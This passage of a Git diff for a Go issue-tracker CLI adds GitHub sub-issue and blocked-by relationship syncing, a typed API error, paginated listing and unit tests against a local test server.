buildSyncDescendantSet(context.Background(), store, "bd-epic") + if err != nil { + t.Fatalf("buildSyncDescendantSet error = %v", err) + } + if !got["bd-epic"] || !got["bd-child"] { + t.Errorf("descendant set = %v, want it to contain bd-epic and bd-child", got) + } + if got["bd-blocker"] { + t.Errorf("descendant set = %v, want it to exclude the blocks-edge dependent bd-blocker", got) + } +} diff --git a/cmd/bd/gitlab.go b/cmd/bd/gitlab.go index 25afc5436..6657dcb3b 100644 --- a/cmd/bd/gitlab.go +++ b/cmd/bd/gitlab.go @@ -720,7 +720,7 @@ func collectGitLabLinkSyncData(ctx context.Context, st storage.Storage, opts tra var warnings []string var descendantSet map[string]bool if opts.ParentID != "" { - descendantSet, err = buildGitLabDescendantSet(ctx, st, opts.ParentID) + descendantSet, err = buildSyncDescendantSet(ctx, st, opts.ParentID) if err != nil { return gitlabLinkSyncData{}, []string{fmt.Sprintf("GitLab dependency link sync skipped: resolving parent %s: %v", opts.ParentID, err)} } @@ -803,26 +803,6 @@ func gitlabIssueAllowedByPushFilters(issue *types.Issue, opts tracker.SyncOption return true } -func buildGitLabDescendantSet(ctx context.Context, st storage.Storage, parentID string) (map[string]bool, error) { - result := map[string]bool{parentID: true} - queue := []string{parentID} - for len(queue) > 0 { - current := queue[0] - queue = queue[1:] - dependents, err := st.GetDependentsWithMetadata(ctx, current) - if err != nil { - return nil, fmt.Errorf("getting dependents of %s: %w", current, err) - } - for _, dep := range dependents { - if dep.DependencyType == types.DepParentChild && !result[dep.Issue.ID] { - result[dep.Issue.ID] = true - queue = append(queue, dep.Issue.ID) - } - } - } - return result, nil -} - func gitlabIssueIDSet(ids []string) map[string]bool { if len(ids) == 0 { return nil diff --git a/cmd/bd/sync_flags.go b/cmd/bd/sync_flags.go index b7fb6577c..d3c75b781 100644 --- a/cmd/bd/sync_flags.go +++ b/cmd/bd/sync_flags.go @@ -1,10 +1,13 @@ package main import ( + "context" "fmt" "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/tracker" + "github.com/steveyegge/beads/internal/types" ) // registerSelectiveSyncFlags adds --issues and --parent flags to a tracker sync command. @@ -44,3 +47,35 @@ func applySelectiveSyncFlags(cmd *cobra.Command, opts *tracker.SyncOptions, push } return nil } + +// buildSyncDescendantSet resolves opts.ParentID into the set of issue IDs +// --parent selects: the parent itself plus every bead reachable from it +// through parent-child dependency edges. A nil result means no subtree scope +// was requested; callers filtering by it must treat a non-nil set as a +// membership requirement. +// +// Shared by the GitLab and GitHub relationship passes so a subtree-scoped push +// and its relationship pass agree on what "in scope" means. The engine has its +// own copy for the content push (Engine.buildDescendantSet, +// internal/tracker/engine.go); these two must stay in agreement. The ADO +// relationship pass is not converted: pushADOLinks (ado.go) takes no sync +// options, so --parent and --issues do not narrow the ADO relations it writes. +func buildSyncDescendantSet(ctx context.Context, st storage.Storage, parentID string) (map[string]bool, error) { + result := map[string]bool{parentID: true} + queue := []string{parentID} + for len(queue) > 0 { + current := queue[0] + queue = queue[1:] + dependents, err := st.GetDependentsWithMetadata(ctx, current) + if err != nil { + return nil, fmt.Errorf("getting dependents of %s: %w", current, err) + } + for _, dep := range dependents { + if dep.DependencyType == types.DepParentChild && !result[dep.Issue.ID] { + result[dep.Issue.ID] = true + queue = append(queue, dep.Issue.ID) + } + } + } + return result, nil +} diff --git a/cmd/bd/sync_push_pull.go b/cmd/bd/sync_push_pull.go index cb99b53d7..63a2263ff 100644 --- a/cmd/bd/sync_push_pull.go +++ b/cmd/bd/sync_push_pull.go @@ -611,15 +611,29 @@ func runGitHubPush(cmd *cobra.Command, args []string) error { engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } engine.PushHooks = buildGitHubPushHooks(gt) - result, err := engine.Sync(ctx, tracker.SyncOptions{ + opts := tracker.SyncOptions{ Push: true, Pull: false, DryRun: dryRun, IssueIDs: args, - }) + } + result, err := engine.Sync(ctx, opts) if err != nil { return err } + + // Relationship push pass, matching `bd github sync`: converge beads + // epic/child links and "blocks" dependencies among the requested issues + // into GitHub sub-issues and issue dependencies. + warnLink := func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } + linksPushed := pushGitHubDependencyLinks(ctx, gt, store, opts, dryRun, os.Stdout, warnLink) + // Under --dry-run PushLinks counts planned links in Created, so this line + // would affirm writes that never happened; the `bd github sync` twin gates + // it the same way. + if linksPushed > 0 && !dryRun && !jsonOutput { + fmt.Printf("✓ Synced %d relationship links\n", linksPushed) + } + outputSyncResult(result, dryRun) return nil } diff --git a/internal/github/BUILD.bazel b/internal/github/BUILD.bazel index 617aea69a..9fff27f23 100644 --- a/internal/github/BUILD.bazel +++ b/internal/github/BUILD.bazel @@ -6,6 +6,7 @@ go_library( "client.go", "errors.go", "fieldmapper.go", + "links.go", "mapping.go", "tracker.go", "types.go", @@ -23,8 +24,10 @@ go_test( name = "github_test", srcs = [ "client_ratelimit_test.go", + "links_test.go", "mapping_test.go", "push_dedup_test.go", + "review_fixes_test.go", "tracker_test.go", "types_test.go", ], diff --git a/internal/github/client.go b/internal/github/client.go index cbccd9d9a..e2f4eb0b9 100644 --- a/internal/github/client.go +++ b/internal/github/client.go @@ -144,7 +144,7 @@ func (c *Client) doRequest(ctx context.Context, method, urlStr string, body inte continue } - return nil, nil, fmt.Errorf("API error: %s (status %d)", string(respBody), resp.StatusCode) + return nil, nil, &APIError{StatusCode: resp.StatusCode, Body: string(respBody), URL: urlStr} } if lastRateLimit != nil { @@ -364,6 +364,92 @@ func (c *Client) FetchIssueByNumber(ctx context.Context, number int) (*Issue, er return &issue, nil } +// listIssuePages walks every page of an endpoint that returns a bare JSON +// array of issues (sub-issues, dependencies), following GitHub's Link header +// the same way FetchIssues and ListRepositories do. Relationship endpoints +// default to 30 items per page, so an unpaginated read silently truncates the +// existing-relationship set and makes the push pass re-POST links that are +// already there. +func (c *Client) listIssuePages(ctx context.Context, endpoint string) ([]Issue, error) { + var allIssues []Issue + page := 1 + + for { + select { + case <-ctx.Done(): + return allIssues, ctx.Err() + default: + } + + urlStr := fmt.Sprintf("%s?per_page=%d&page=%d", endpoint, MaxPerPage, page) + respBody, headers, err := c.doRequest(ctx, http.MethodGet, urlStr, nil) + if err != nil { + return nil, err + } + + var issues []Issue + if err := json.Unmarshal(respBody, &issues); err != nil { + return nil, fmt.Errorf("failed to parse response: %w", err) + } + allIssues = append(allIssues, issues...) + + if nextPageURL(headers) == "" { + break + } + page++ + + if page > MaxPages { + return nil, fmt.Errorf("pagination limit exceeded: stopped after %d pages", MaxPages) + } + } + + return allIssues, nil +} + +// ListSubIssues retrieves the sub-issues of the given parent issue number, +// following pagination so callers see every existing sub-issue. +func (c *Client) ListSubIssues(ctx context.Context, parentNumber int) ([]Issue, error) { + endpoint := fmt.Sprintf("%s%s/issues/%d/sub_issues", c.BaseURL, c.repoPath(), parentNumber) + issues, err := c.listIssuePages(ctx, endpoint) + if err != nil { + return nil, fmt.Errorf("failed to list sub-issues of #%d: %w", parentNumber, err) + } + return issues, nil +} + +// AddSubIssue makes subIssueID a sub-issue of the issue at parentNumber. +// subIssueID is the sub-issue's internal numeric ID (Issue.ID), not its number. +func (c *Client) AddSubIssue(ctx context.Context, parentNumber, subIssueID int) error { + urlStr := fmt.Sprintf("%s%s/issues/%d/sub_issues", c.BaseURL, c.repoPath(), parentNumber) + body := map[string]interface{}{"sub_issue_id": subIssueID} + if _, _, err := c.doRequest(ctx, http.MethodPost, urlStr, body); err != nil { + return fmt.Errorf("failed to add sub-issue %d to #%d: %w", subIssueID, parentNumber, err) + } + return nil +} + +// ListBlockedBy retrieves the issues that block the given issue number, +// following pagination so callers see every existing dependency. +func (c *Client) ListBlockedBy(ctx context.Context, number int) ([]Issue, error) { + endpoint := fmt.Sprintf("%s%s/issues/%d/dependencies/blocked_by", c.BaseURL, c.repoPath(), number) + issues, err := c.listIssuePages(ctx, endpoint) + if err != nil { + return nil, fmt.Errorf("failed to list blocking issues for #%d: %w", number, err) + } + return issues, nil +} + +// AddBlockedBy records that the issue at number is blocked by blockingIssueID. +// blockingIssueID is the blocking issue's internal numeric ID (Issue.ID), not its number. +func (c *Client) AddBlockedBy(ctx context.Context, number, blockingIssueID int) error { + urlStr := fmt.Sprintf("%s%s/issues/%d/dependencies/blocked_by", c.BaseURL, c.repoPath(), number) + body := map[string]interface{}{"issue_id": blockingIssueID} + if _, _, err := c.doRequest(ctx, http.MethodPost, urlStr, body); err != nil { + return fmt.Errorf("failed to add blocked_by %d to #%d: %w", blockingIssueID, number, err) + } + return nil +} + // ListRepositories retrieves repositories accessible to the authenticated user. func (c *Client) ListRepositories(ctx context.Context) ([]Repository, error) { var allRepos []Repository diff --git a/internal/github/errors.go b/internal/github/errors.go index 675228f8e..50adda6c4 100644 --- a/internal/github/errors.go +++ b/internal/github/errors.go @@ -3,6 +3,7 @@ package github import ( "bytes" "encoding/json" + "errors" "fmt" "net/http" "strconv" @@ -23,6 +24,27 @@ const ( headerRateLimitResource = "X-RateLimit-Resource" ) +// APIError is a non-retryable GitHub API failure that carries the HTTP status +// code, so callers can branch on it instead of matching error strings (e.g. +// treating 404 from the relationship endpoints as "unavailable here" rather +// than as a hard failure). Its message is unchanged from the untyped error it +// replaces. +type APIError struct { + StatusCode int + Body string + URL string +} + +func (e *APIError) Error() string { + return fmt.Sprintf("API error: %s (status %d)", e.Body, e.StatusCode) +} + +// IsNotFound reports whether err is, or wraps, a GitHub 404. +func IsNotFound(err error) bool { + var apiErr *APIError + return errors.As(err, &apiErr) && apiErr.StatusCode == http.StatusNotFound +} + // AuthError indicates a GitHub 403/401 that is not a rate limit (bad token, // missing scopes, IP allowlist, etc.). Auth errors are not retried. type AuthError struct { diff --git a/internal/github/links.go b/internal/github/links.go new file mode 100644 index 000000000..0d168dfad --- /dev/null +++ b/internal/github/links.go @@ -0,0 +1,448 @@ +package github + +import ( + "context" + "fmt" + "net/url" + "sort" + "strconv" + "strings" + + "github.com/steveyegge/beads/internal/types" +) + +const ( + githubLinkSubIssue = "sub_issue" + githubLinkBlockedBy = "blocked_by" +) + +// RefScope resolves beads external refs to issue numbers in exactly one GitHub +// repository. GitHub's sub-issue and issue-dependency endpoints are +// repository-scoped and take bare issue numbers, so a ref pointing at another +// repository — or at another host entirely, e.g. a GitLab or GHES URL — must +// not yield a number here: it would link whichever unrelated issues happen to +// carry those numbers in the configured repository. +type RefScope struct { + apiHost string // canonical host[:port] of the REST API base URL + webHost string // canonical host[:port] used by issue HTML URLs + owner string + repo string +} + +// SubIssueLinkFromParentChild is retained for existing callers. Relationship +// sync itself uses the scoped RefScope method below. +func SubIssueLinkFromParentChild(issue *types.Issue, parent *types.IssueWithDependencyMetadata) (DependencyLink, bool) { + return NewRefScope("https://github.com", "o", "r").SubIssueLinkFromParentChild(issue, parent) +} + +// BlockedByLinkFromBeadsDependency is retained for existing callers. +func BlockedByLinkFromBeadsDependency(issue *types.Issue, dep *types.IssueWithDependencyMetadata) (DependencyLink, bool) { + return NewRefScope("https://github.com", "o", "r").BlockedByLinkFromBeadsDependency(issue, dep) +} + +// NewRefScope builds a ref scope for a repository reachable at the given REST +// API base URL. +func NewRefScope(baseURL, owner, repo string) RefScope { + apiHost := hostFromURL(baseURL) + webHost := apiHost + // api.github.com serves the REST API for github.com, while the issue HTML + // URLs that BuildExternalRef stores use the bare host. GitHub Enterprise + // serves both from one host, so this trim is a no-op there. + if trimmed := strings.TrimPrefix(apiHost, "api."); trimmed != "" { + webHost = trimmed + } + return RefScope{ + apiHost: apiHost, + webHost: webHost, + owner: strings.ToLower(strings.TrimSpace(owner)), + repo: strings.ToLower(strings.TrimSpace(repo)), + } +} + +func hostFromURL(raw string) string { + trimmed := strings.TrimSpace(raw) + if trimmed == "" { + return "" + } + u, err := url.Parse(trimmed) + if err != nil || u.Host == "" { + return "" + } + return strings.ToLower(u.Host) +} + +// IssueNumberFromRef extracts a repository-scoped GitHub issue number from a +// beads external ref, but only when the ref points at this scope's repository. +// A full issue URL must match the configured host and owner/repo; the +// repo-less "github:{digits}" shorthand that BuildExternalRef emits when no +// URL is available is read as the configured repository. Everything else — +// another repository, another host, a non-GitHub tracker URL — is rejected. +func (s RefScope) IssueNumberFromRef(ref string) (int, bool) { + ref = strings.TrimSpace(ref) + if ref == "" || s.owner == "" || s.repo == "" { + return 0, false + } + + if m := ghShorthandPattern.FindStringSubmatch(ref); len(m) >= 2 { + n, err := strconv.Atoi(m[1]) + return n, err == nil && n > 0 + } + + u, err := url.Parse(ref) + if err != nil || u.Host == "" { + return 0, false + } + if host := strings.ToLower(u.Host); host != s.apiHost && host != s.webHost { + return 0, false + } + + owner, repo, number, ok := splitIssueURLPath(u.Path) + if !ok { + return 0, false + } + if !strings.EqualFold(owner, s.owner) || !strings.EqualFold(repo, s.repo) { + return 0, false + } + return number, true +} + +// splitIssueURLPath pulls owner, repo, and issue number out of a GitHub issue +// URL path. It accepts both the HTML form (/{owner}/{repo}/issues/42) and the +// REST form (/repos/{owner}/{repo}/issues/42, optionally behind a GitHub +// Enterprise /api/v3 prefix), and requires the number to be the last segment. +func splitIssueURLPath(path string) (owner, repo string, number int, ok bool) { + segments := strings.Split(strings.Trim(path, "/"), "/") + if len(segments) < 4 { + return "", "", 0, false + } + last := len(segments) - 1 + if segments[last-1] != "issues" { + return "", "", 0, false + } + n, err := strconv.Atoi(segments[last]) + if err != nil || n <= 0 { + return "", "", 0, false + } + owner, repo = segments[last-3], segments[last-2] + if owner == "" || repo == "" { + return "", "", 0, false + } + return owner, repo, n, true +} + +// DependencyLink is a GitHub relationship operation derived from a beads +// parent-child link or "blocks" dependency. FromNumber is the issue the +// relationship is created on (the parent for sub_issue, the blocked issue for +// blocked_by); ToNumber is the other side (the child, or the blocker). +type DependencyLink struct { + FromNumber int + ToNumber int + LinkType string // "sub_issue" or "blocked_by" + FromBeadsID string + ToBeadsID string +} + +// PushLinkOptions configures dependency link push behavior. +type PushLinkOptions struct { + DryRun bool + OnPlan func(DependencyLink) +} + +// PushLinkResult summarizes a PushLinks pass. UnsupportedSkipped counts +// relationships skipped because GitHub answered 404 for the relationship +// endpoint itself — the sub-issue and issue-dependency APIs are absent on +// older GitHub Enterprise Server versions. SourceMissing counts relationships +// skipped because the source issue 404s: deleted, renumbered, or not visible +// to this token. The two are counted apart because a host that cannot do +// relationships at all and a stale local ref call for different operator +// responses; the caller emits one curated line per class instead of a raw +// error per link. Errors holds genuine failures, at most one per source issue. +type PushLinkResult struct { + Created int + UnsupportedSkipped int + SourceMissing int + Errors []error +} + +// LinkResolver handles GitHub relationship convergence (sub-issues and issue +// dependencies) for one repository. +type LinkResolver struct { + Client *Client + scope RefScope +} + +// NewLinkResolver creates a GitHub dependency link resolver whose ref scope is +// the client's repository. +func NewLinkResolver(client *Client) *LinkResolver { + r := &LinkResolver{Client: client} + if client != nil { + r.scope = NewRefScope(client.BaseURL, client.Owner, client.Repo) + } + return r +} + +// Scope returns the repository that external refs must point at to take part +// in relationship sync. +func (r *LinkResolver) Scope() RefScope { + if r == nil { + return RefScope{} + } + return r.scope +} + +// SubIssueLinkFromParentChild converts one beads parent-child dependency into +// a GitHub sub-issue link. parent must be the issue that issue's +// GetDependenciesWithMetadata resolved via a DepParentChild edge. Both refs +// must resolve inside this scope's repository. +func (s RefScope) SubIssueLinkFromParentChild(issue *types.Issue, parent *types.IssueWithDependencyMetadata) (DependencyLink, bool) { + if issue == nil || parent == nil || issue.ExternalRef == nil || parent.ExternalRef == nil { + return DependencyLink{}, false + } + childNumber, ok := s.IssueNumberFromRef(*issue.ExternalRef) + if !ok { + return DependencyLink{}, false + } + parentNumber, ok := s.IssueNumberFromRef(*parent.ExternalRef) + if !ok || parentNumber == childNumber { + return DependencyLink{}, false + } + return DependencyLink{ + FromNumber: parentNumber, + ToNumber: childNumber, + LinkType: githubLinkSubIssue, + FromBeadsID: parent.ID, + ToBeadsID: issue.ID, + }, true +} + +// BlockedByLinkFromBeadsDependency converts one beads "blocks" dependency into +// a GitHub blocked_by link. For a beads blocks edge issue -> dep (issue +// depends on / is blocked by dep), GitHub records: issue is blocked_by dep. +// Both refs must resolve inside this scope's repository. +func (s RefScope) BlockedByLinkFromBeadsDependency(issue *types.Issue, dep *types.IssueWithDependencyMetadata) (DependencyLink, bool) { + if issue == nil || dep == nil || issue.ExternalRef == nil || dep.ExternalRef == nil { + return DependencyLink{}, false + } + if dep.DependencyType != types.DepBlocks { + return DependencyLink{}, false + } + issueNumber, ok := s.IssueNumberFromRef(*issue.ExternalRef) + if !ok { + return DependencyLink{}, false + } + depNumber, ok := s.IssueNumberFromRef(*dep.ExternalRef) + if !ok || depNumber == issueNumber { + return DependencyLink{}, false + } + return DependencyLink{ + FromNumber: issueNumber, + ToNumber: depNumber, + LinkType: githubLinkBlockedBy, + FromBeadsID: issue.ID, + ToBeadsID: dep.ID, + }, true +} + +type githubLinkKey struct { + FromNumber int + ToNumber int + LinkType string +} + +func (l DependencyLink) key() githubLinkKey { + return githubLinkKey{FromNumber: l.FromNumber, ToNumber: l.ToNumber, LinkType: l.LinkType} +} + +type githubLinkSourceKey struct { + Number int + LinkType string +} + +// DeduplicateLinks removes duplicate desired GitHub links and returns them in +// a deterministic order. +func DeduplicateLinks(links []DependencyLink) []DependencyLink { + if len(links) == 0 { + return nil + } + result := make([]DependencyLink, 0, len(links)) + seen := make(map[githubLinkKey]struct{}, len(links)) + for _, link := range links { + key := link.key() + if _, ok := seen[key]; ok { + continue + } + seen[key] = struct{}{} + result = append(result, link) + } + sort.Slice(result, func(i, j int) bool { + if result[i].FromNumber != result[j].FromNumber { + return result[i].FromNumber < result[j].FromNumber + } + if result[i].ToNumber != result[j].ToNumber { + return result[i].ToNumber < result[j].ToNumber + } + return result[i].LinkType < result[j].LinkType + }) + return result +} + +// PushLinks creates missing GitHub relationships (sub-issues, issue +// dependencies) for the desired link set. It is additive and idempotent: +// each source issue's current relationships of the relevant type are fetched +// once and consulted before any create call, so re-running a sync does not +// re-POST relationships that already exist. Stale remote relationships are +// left untouched. +func (r *LinkResolver) PushLinks(ctx context.Context, desired []DependencyLink, opts PushLinkOptions) PushLinkResult { + if r == nil || r.Client == nil { + return PushLinkResult{Errors: []error{fmt.Errorf("GitHub link resolver has no client")}} + } + + desired = DeduplicateLinks(desired) + if len(desired) == 0 { + return PushLinkResult{} + } + + sources := make(map[githubLinkSourceKey]*githubLinkSourceState) + idByNumber := make(map[int]int) + // One source issue can carry both link types, so the 404 classification + // probe below is cached by issue number rather than by source key. + missingByNumber := make(map[int]bool) + var result PushLinkResult + + for _, link := range desired { + srcKey := githubLinkSourceKey{Number: link.FromNumber, LinkType: link.LinkType} + state, ok := sources[srcKey] + if !ok { + // One list call per (source issue, link type), and one error per + // failed source rather than one per link hanging off it. + targets, err := r.fetchCurrentTargets(ctx, link.FromNumber, link.LinkType) + state = &githubLinkSourceState{targets: targets} + if err != nil { + state.failed = true + if IsNotFound(err) { + // A 404 here has two causes that need different reporting: + // the relationship API is absent on this host, or the + // source issue itself is gone — deleted, renumbered, or + // hidden from this token. Reading the issue separates + // them. Only a clean 404 from that read proves the issue + // is the missing half; anything else (including a probe + // that succeeds or fails for another reason) leaves the + // skip classified as an unavailable endpoint. + state.missing = r.sourceIssueMissing(ctx, link.FromNumber, missingByNumber) + state.notFound = !state.missing + } else { + result.Errors = append(result.Errors, fmt.Errorf("fetch GitHub %s for #%d: %w", link.LinkType, link.FromNumber, err)) + } + } + sources[srcKey] = state + } + if state.failed { + switch { + case state.missing: + result.SourceMissing++ + case state.notFound: + result.UnsupportedSkipped++ + } + continue + } + current := state.targets + + // current is keyed by issue number (present on the list response), so + // the existence check needs no extra API call. The target's internal + // numeric ID is only resolved when we're about to actually create the + // link. + if _, exists := current[link.ToNumber]; exists { + continue + } + + if opts.DryRun { + if opts.OnPlan != nil { + opts.OnPlan(link) + } + result.Created++ + continue + } + + targetID, ok := idByNumber[link.ToNumber] + if !ok { + issue, err := r.Client.FetchIssueByNumber(ctx, link.ToNumber) + if err != nil { + result.Errors = append(result.Errors, fmt.Errorf("resolve GitHub issue #%d: %w", link.ToNumber, err)) + continue + } + targetID = issue.ID + idByNumber[link.ToNumber] = targetID + } + + var err error + switch link.LinkType { + case githubLinkSubIssue: + err = r.Client.AddSubIssue(ctx, link.FromNumber, targetID) + case githubLinkBlockedBy: + err = r.Client.AddBlockedBy(ctx, link.FromNumber, targetID) + default: + continue + } + if err != nil { + if IsNotFound(err) { + // Unambiguously the endpoint here, unlike the list call above: + // this source issue's relationships listed successfully and + // the target was just fetched by number, so neither issue can + // be the missing half. Counted, not error-spammed. + result.UnsupportedSkipped++ + continue + } + result.Errors = append(result.Errors, fmt.Errorf("create GitHub %s link #%d -> #%d: %w", link.LinkType, link.FromNumber, link.ToNumber, err)) + continue + } + current[link.ToNumber] = struct{}{} + result.Created++ + } + + return result +} + +// githubLinkSourceState caches one source issue's existing relationships of a +// single link type, or the fact that listing them failed. On a 404, notFound +// and missing record which of the two causes the probe settled on. +type githubLinkSourceState struct { + targets map[int]struct{} + failed bool + notFound bool + missing bool +} + +// sourceIssueMissing reports whether issue number itself 404s, which is what +// separates a stale local ref from a host whose relationship endpoints are +// absent. Results are memoized in cache so a source issue carrying both link +// types is probed once. +func (r *LinkResolver) sourceIssueMissing(ctx context.Context, number int, cache map[int]bool) bool { + if missing, ok := cache[number]; ok { + return missing + } + _, err := r.Client.FetchIssueByNumber(ctx, number) + missing := err != nil && IsNotFound(err) + cache[number] = missing + return missing +} + +func (r *LinkResolver) fetchCurrentTargets(ctx context.Context, number int, linkType string) (map[int]struct{}, error) { + var issues []Issue + var err error + switch linkType { + case githubLinkSubIssue: + issues, err = r.Client.ListSubIssues(ctx, number) + case githubLinkBlockedBy: + issues, err = r.Client.ListBlockedBy(ctx, number) + default: + return nil, fmt.Errorf("unknown GitHub link type %q", linkType) + } + if err != nil { + return nil, err + } + result := make(map[int]struct{}, len(issues)) + for _, iss := range issues { + result[iss.Number] = struct{}{} + } + return result, nil +} diff --git a/internal/github/links_test.go b/internal/github/links_test.go new file mode 100644 index 000000000..30c9558da --- /dev/null +++ b/internal/github/links_test.go @@ -0,0 +1,298 @@ +package github + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +func TestSubIssueLinkFromParentChild(t *testing.T) { + child := githubIssue("bd-child", "https://github.com/o/r/issues/10", types.TypeTask) + parent := githubDep("bd-epic", "https://github.com/o/r/issues/5", types.DepParentChild) + + link, ok := SubIssueLinkFromParentChild(child, parent) + if !ok { + t.Fatal("SubIssueLinkFromParentChild returned false") + } + if link.FromNumber != 5 || link.ToNumber != 10 || link.LinkType != githubLinkSubIssue { + t.Fatalf("link = %+v, want parent #5 sub_issue #10", link) + } + + // Same issue number should not produce a self-referential link. + same := githubDep("bd-epic", "https://github.com/o/r/issues/10", types.DepParentChild) + if _, ok := SubIssueLinkFromParentChild(child, same); ok { + t.Fatal("self-referential parent link should not be produced") + } +} + +func TestBlockedByLinkFromBeadsDependency(t *testing.T) { + issue := githubIssue("bd-a", "https://github.com/o/r/issues/10", types.TypeTask) + blocker := githubDep("bd-b", "https://github.com/o/r/issues/20", types.DepBlocks) + + link, ok := BlockedByLinkFromBeadsDependency(issue, blocker) + if !ok { + t.Fatal("BlockedByLinkFromBeadsDependency returned false") + } + if link.FromNumber != 10 || link.ToNumber != 20 || link.LinkType != githubLinkBlockedBy { + t.Fatalf("link = %+v, want #10 blocked_by #20", link) + } + + related := githubDep("bd-c", "https://github.com/o/r/issues/30", types.DepRelatesTo) + if _, ok := BlockedByLinkFromBeadsDependency(issue, related); ok { + t.Fatal("non-blocks dependency type should not produce a blocked_by link") + } +} + +func TestDeduplicateLinks(t *testing.T) { + links := []DependencyLink{ + {FromNumber: 10, ToNumber: 20, LinkType: githubLinkBlockedBy}, + {FromNumber: 10, ToNumber: 20, LinkType: githubLinkBlockedBy}, + {FromNumber: 5, ToNumber: 10, LinkType: githubLinkSubIssue}, + } + + got := DeduplicateLinks(links) + + if len(got) != 2 { + t.Fatalf("deduped links len = %d, want 2", len(got)) + } +} + +func TestPushLinksAddsMissing(t *testing.T) { + var posted bool + var capturedBody map[string]interface{} + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch { + case r.Method == http.MethodGet && strings.Contains(r.URL.Path, "/dependencies/blocked_by"): + _ = json.NewEncoder(w).Encode([]Issue{}) + case r.Method == http.MethodGet && strings.HasSuffix(r.URL.Path, "/issues/20"): + _ = json.NewEncoder(w).Encode(Issue{ID: 2000, Number: 20}) + case r.Method == http.MethodPost && strings.Contains(r.URL.Path, "/issues/10/dependencies/blocked_by"): + posted = true + _ = json.NewDecoder(r.Body).Decode(&capturedBody) + w.WriteHeader(http.StatusCreated) + _ = json.NewEncoder(w).Encode(Issue{ID: 2000, Number: 20}) + default: + t.Fatalf("unexpected request %s %s", r.Method, r.URL.Path) + } + })) + defer server.Close() + + resolver := NewLinkResolver(NewClient("token", "o", "r").WithBaseURL(server.URL)) + res := resolver.PushLinks(context.Background(), []DependencyLink{ + {FromNumber: 10, ToNumber: 20, LinkType: githubLinkBlockedBy}, + }, PushLinkOptions{}) + + if len(res.Errors) != 0 { + t.Fatalf("PushLinks errors = %v", res.Errors) + } + if res.Created != 1 || !posted { + t.Fatalf("Created = %d, posted = %v, want one created POST", res.Created, posted) + } + if int(capturedBody["issue_id"].(float64)) != 2000 { + t.Fatalf("issue_id = %v, want 2000", capturedBody["issue_id"]) + } +} + +func TestPushLinksIdempotentExistingLink(t *testing.T) { + var posts int + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch { + case r.Method == http.MethodGet && strings.Contains(r.URL.Path, "/sub_issues"): + _ = json.NewEncoder(w).Encode([]Issue{{ID: 2000, Number: 20}}) + case r.Method == http.MethodPost: + posts++ + t.Fatalf("unexpected POST for existing link") + default: + t.Fatalf("unexpected request %s %s", r.Method, r.URL.Path) + } + })) + defer server.Close() + + resolver := NewLinkResolver(NewClient("token", "o", "r").WithBaseURL(server.URL)) + res := resolver.PushLinks(context.Background(), []DependencyLink{ + {FromNumber: 5, ToNumber: 20, LinkType: githubLinkSubIssue}, + }, PushLinkOptions{}) + + if len(res.Errors) != 0 { + t.Fatalf("PushLinks errors = %v", res.Errors) + } + if res.Created != 0 || posts != 0 { + t.Fatalf("Created = %d, posts = %d, want no created links", res.Created, posts) + } +} + +func TestPushLinksDryRunDoesNotPost(t *testing.T) { + var posts int + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch { + case r.Method == http.MethodGet && strings.Contains(r.URL.Path, "/sub_issues"): + _ = json.NewEncoder(w).Encode([]Issue{}) + case r.Method == http.MethodPost: + posts++ + t.Fatalf("unexpected POST during dry-run") + default: + t.Fatalf("unexpected request %s %s", r.Method, r.URL.Path) + } + })) + defer server.Close() + + var planned []DependencyLink + resolver := NewLinkResolver(NewClient("token", "o", "r").WithBaseURL(server.URL)) + res := resolver.PushLinks(context.Background(), []DependencyLink{ + {FromNumber: 5, ToNumber: 20, LinkType: githubLinkSubIssue}, + }, PushLinkOptions{ + DryRun: true, + OnPlan: func(link DependencyLink) { + planned = append(planned, link) + }, + }) + + if len(res.Errors) != 0 { + t.Fatalf("PushLinks errors = %v", res.Errors) + } + if res.Created != 1 || posts != 0 || len(planned) != 1 { + t.Fatalf("Created = %d, posts = %d, planned = %d; want one dry-run plan and no POST", res.Created, posts, len(planned)) + } +} + +func githubIssue(id, ref string, issueType types.IssueType) *types.Issue { + return &types.Issue{ + ID: id, + ExternalRef: &ref, + IssueType: issueType, + Status: types.StatusOpen, + } +} + +func githubDep(id, ref string, depType types.DependencyType) *types.IssueWithDependencyMetadata { + return &types.IssueWithDependencyMetadata{ + Issue: *githubIssue(id, ref, types.TypeTask), + DependencyType: depType, + } +} + +// The 404 degradation path: a relationship endpoint that is absent on this +// host and a source issue that is gone both surface as 404 on the list call, +// but they are different operator problems and must not be counted together. + +func TestPushLinksUnavailableEndpointCountsUnsupported(t *testing.T) { + var probes int + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch { + case r.Method == http.MethodGet && strings.HasSuffix(r.URL.Path, "/dependencies/blocked_by"): + w.WriteHeader(http.StatusNotFound) + case r.Method == http.MethodGet && strings.HasSuffix(r.URL.Path, "/issues/10"): + // The source issue is readable, so the 404 above is the endpoint. + probes++ + _ = json.NewEncoder(w).Encode(Issue{ID: 1000, Number: 10}) + default: + t.Errorf("unexpected request %s %s", r.Method, r.URL.Path) + w.WriteHeader(http.StatusInternalServerError) + } + })) + defer server.Close() + + resolver := NewLinkResolver(NewClient("token", "o", "r").WithBaseURL(server.URL)) + res := resolver.PushLinks(context.Background(), []DependencyLink{ + {FromNumber: 10, ToNumber: 20, LinkType: githubLinkBlockedBy}, + }, PushLinkOptions{}) + + if len(res.Errors) != 0 { + t.Fatalf("PushLinks errors = %v, want none (degradation is counted, not raised)", res.Errors) + } + if res.UnsupportedSkipped != 1 { + t.Fatalf("UnsupportedSkipped = %d, want 1", res.UnsupportedSkipped) + } + if res.SourceMissing != 0 { + t.Fatalf("SourceMissing = %d, want 0 - the source issue was readable", res.SourceMissing) + } + if res.Created != 0 { + t.Fatalf("Created = %d, want 0", res.Created) + } + if probes != 1 { + t.Fatalf("source issue probed %d times, want 1", probes) + } +} + +func TestPushLinksMissingSourceIssueIsNotUnsupported(t *testing.T) { + var probes int + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch { + 